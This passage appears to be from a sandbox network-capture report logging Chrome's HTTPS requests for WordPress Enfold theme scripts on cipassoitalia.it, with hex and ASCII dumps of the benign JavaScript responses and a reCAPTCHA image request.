2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 3f 64 3d 21 30 3a 65 3d 22 65 63 6f 6d 70 69 22 7d 50 62 28 63 2c 22 22 2c 65 29 3b 72 65 74 75 72 6e 20 64 7d 66 75 6e 63 74 69 6f 6e 20 5a 64 28 61 2c 62 29 7b 72 65 74 75 72 6e 7b 52 3a 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 47 67 28 63 29 3f 64 28 29 3a 73 61 28 62 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 3d 6e 28 65 2c 22 73 65 74 74 69 6e 67 73 2e 68 69 74 74 6f 6b 65 6e 22 29 29 7b 76 61 72 20 66 3d 7b 7d 3b 65 3d 28 66 2e 68 69 74 74 6f 6b 65 6e 3d 65 2c 66 29 3b 63 2e 48 3d 41 28 63 2e 48 7c 7c 7b 7d 2c 65 29 7d 64 28 29 7d 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 47 6a 28 61 2c 62 2c 0a 63 2c 64 29 7b 69 66 28 62 29 7b 76 61 72 20 65 3d 5b 5d 3b 62 26 26 28 61 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 Data Ascii: ?d=!0:e="ecompi"}Pb(c,"",e);return d}function Zd(a,b){return{R:function(c,d){Gg(c)?d():sa(b,function(e){if(e=n(e,"settings.hittoken")){var f={};e=(f.hittoken=e,f);c.H=A(c.H\|\|{},e)}d()})}}}function Gj(a,b,c,d){if(b){var e=[];b&&(a.document.documentElement
2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 63 65 28 2d 32 29 5b 30 5d 3b 53 28 66 29 26 26 28 62 3d 66 2c 63 3d 65 2c 64 3d 61 2e 6c 65 6e 67 74 68 2b 2d 32 29 3b 64 3d 61 2e 73 6c 69 63 65 28 30 2c 64 29 3b 72 65 74 75 72 6e 7b 24 67 3a 63 2c 5a 62 3a 62 2c 4f 3a 31 3d 3d 3d 64 2e 6c 65 6e 67 74 68 3f 61 5b 30 5d 3a 55 65 28 64 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 64 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 66 3d 46 28 5b 61 2c 64 2c 65 5d 2c 4c 67 29 3b 72 65 74 75 72 6e 20 63 2e 74 68 65 6e 28 66 2c 0a 66 75 6e 63 74 69 6f 6e 28 67 29 7b 66 28 29 3b 67 64 28 61 2c 62 2c 67 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 4d 67 28 61 2c 62 29 7b 72 65 74 75 72 6e 7b 52 3a 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 3d 28 63 2e 4d 7c 7c 7b 7d 29 2e 4f 2c 66 3d 76 6f 69 64 20 30 3d Data Ascii: ce(-2)[0];S(f)&&(b=f,c=e,d=a.length+-2);d=a.slice(0,d);return{$g:c,Zb:b,O:1===d.length?a[0]:Ue(d)}}}function pd(a,b,c,d,e){var f=F([a,d,e],Lg);return c.then(f,function(g){f();gd(a,b,g)})}function Mg(a,b){return{R:function(c,d){var e=(c.M\|\|{}).O,f=void 0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.16	49821	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	446	OUT	GET /wp-content/themes/enfold/js/shortcodes.js?ver=4.5 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 40642 Connection: close Last-Modified: Mon, 18 Mar 2019 15:17:10 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	16107	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 09 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 7b 09 0a 20 20 20 20 09 2f 2f 67 6c 6f 62 61 6c 20 76 61 72 69 61 62 6c 65 73 20 74 68 61 74 20 61 72 65 20 75 73 65 64 20 6f 6e 20 73 65 76 65 72 61 6c 20 6f 63 61 73 73 69 6f 6e 73 0a 20 20 20 20 09 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 3d 20 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 09 0a 20 20 20 20 09 69 66 28 20 2f 41 6e 64 72 6f 69 64 7c 77 65 62 4f 53 7c 69 50 68 6f 6e 65 7c 69 50 61 64 7c 69 50 6f 64 7c 42 6c 61 63 6b 42 65 72 72 79 7c 49 45 4d 6f 62 69 6c 65 7c 4f 70 65 72 61 20 Data Ascii: (function($){ "use strict"; $(document).ready(function() { //global variables that are used on several ocassions $.avia_utilities = $.avia_utilities \|\| {}; if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera
2025-01-09 12:19:27 UTC	16384	IN	Data Raw: 2f 2f 69 65 38 20 6e 65 65 64 73 20 64 69 66 66 65 72 65 6e 74 20 69 6e 73 65 72 74 20 6d 65 74 68 6f 64 0a 09 09 09 74 72 79 7b 0a 09 09 09 09 63 73 73 5f 62 6c 6f 63 6b 2e 74 65 78 74 28 63 73 73 29 3b 20 0a 09 09 09 7d 0a 09 09 09 63 61 74 63 68 28 65 72 72 29 7b 0a 09 09 09 09 63 73 73 5f 62 6c 6f 63 6b 2e 72 65 6d 6f 76 65 28 29 3b 0a 09 09 09 09 63 73 73 5f 62 6c 6f 63 6b 20 3d 20 24 28 22 3c 73 74 79 6c 65 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 69 64 3d 27 61 76 2d 62 72 6f 77 73 65 72 2d 68 65 69 67 68 74 27 3e 22 2b 63 73 73 2b 22 3c 2f 73 74 79 6c 65 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 27 68 65 61 64 3a 66 69 72 73 74 27 29 3b 0a 09 09 09 7d 0a 09 09 09 0a 09 09 09 0a 09 09 09 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f Data Ascii: //ie8 needs different insert methodtry{css_block.text(css); }catch(err){css_block.remove();css_block = $("<style type='text/css' id='av-browser-height'>"+css+"</style>").appendTo('head:first');}setTimeout(functio
2025-01-09 12:19:27 UTC	8151	IN	Data Raw: 30 2e 30 38 35 2c 20 30 2e 34 39 30 2c 20 31 2e 33 36 35 29 27 20 0a 09 09 7d 3b 0a 0a 09 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 09 63 68 65 63 6b 20 69 66 20 61 20 63 73 73 20 66 65 61 74 75 72 65 20 69 73 20 73 75 70 70 6f 72 74 65 64 20 61 6e 64 20 73 61 76 65 20 69 74 20 74 6f 20 74 68 65 20 73 75 70 70 6f 72 74 65 64 20 61 72 72 61 79 0a 09 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 09 24 2e Data Ascii: 0.085, 0.490, 1.365)' };/**********************************************************************check if a css feature is supported and save it to the supported array***********************************************************************/$.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.16	49827	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	499	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/audio-player/audio-player.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 2080 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	2080	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 0a 2f 2f 20 41 56 49 41 20 50 6c 61 79 65 72 0a 2f 2f 20 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 76 61 72 20 61 75 74 6f Data Ascii: // -------------------------------------------------------------------------------------------// // AVIA Player// // -------------------------------------------------------------------------------------------(function($){ "use strict";var auto

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.16	49828	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	688	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 4975 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	4975	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 41 76 69 61 20 54 65 78 74 20 52 6f 74 61 74 6f 72 0a 09 2f 2f 20 0a 09 2f 2f 20 61 63 63 6f 72 64 69 6f 6e 20 73 6c 69 64 65 72 20 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Avia Text Rotator// // accordion slider script// -------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.16	49829	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	489	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 7813 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	7813	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 63 6f 6e 74 61 63 74 20 66 6f 72 6d 20 61 6a 61 78 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 0a 09 24 2e 66 6e 2e 61 76 69 61 5f 61 6a 61 78 5f 66 6f 72 6d 20 3d 20 66 75 6e 63 74 Data Ascii: // -------------------------------------------------------------------------------------------// contact form ajax// -------------------------------------------------------------------------------------------(function($){$.fn.avia_ajax_form = funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.16	49826	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	672	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 1848 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	1848	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 6c 6f 61 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 09 09 24 28 27 2e 61 76 69 61 2d 69 63 6f 6e 67 72 69 64 2d 66 6c 69 70 62 6f 78 27 29 2e 61 76 69 61 5f 73 63 5f 69 63 6f 6e 67 72 69 64 28 29 3b 0a 20 20 20 20 7d 29 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 49 63 6f 6e 67 72 69 64 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 Data Ascii: (function($){ "use strict"; $(window).on('load', function (e) {$('.avia-icongrid-flipbox').avia_sc_icongrid(); });// -------------------------------------------------------------------------------------------// Icongrid shortcode java

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.16	49830	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	493	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 2939 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	2939	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 0a 2f 2f 20 41 56 49 41 20 43 6f 75 6e 74 64 6f 77 6e 0a 2f 2f 20 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 76 61 72 20 5f Data Ascii: // -------------------------------------------------------------------------------------------// // AVIA Countdown// // -------------------------------------------------------------------------------------------(function($){ "use strict";var _

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.16	49831	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	672	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 685 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	685	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 49 63 6f 6e 6c 69 73 74 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Iconlist shortcode javascript// ----------------------------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.16	49832	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	684	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 784 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	784	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 41 56 49 41 20 49 6d 61 67 65 20 48 6f 74 73 70 6f 74 73 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 24 2e 66 6e 2e 61 76 69 Data Ascii: // -------------------------------------------------------------------------------------------// AVIA Image Hotspots// -------------------------------------------------------------------------------------------(function($){ "use strict";$.fn.avi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.16	49833	142.250.186.164	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:27 UTC	475	OUT	GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
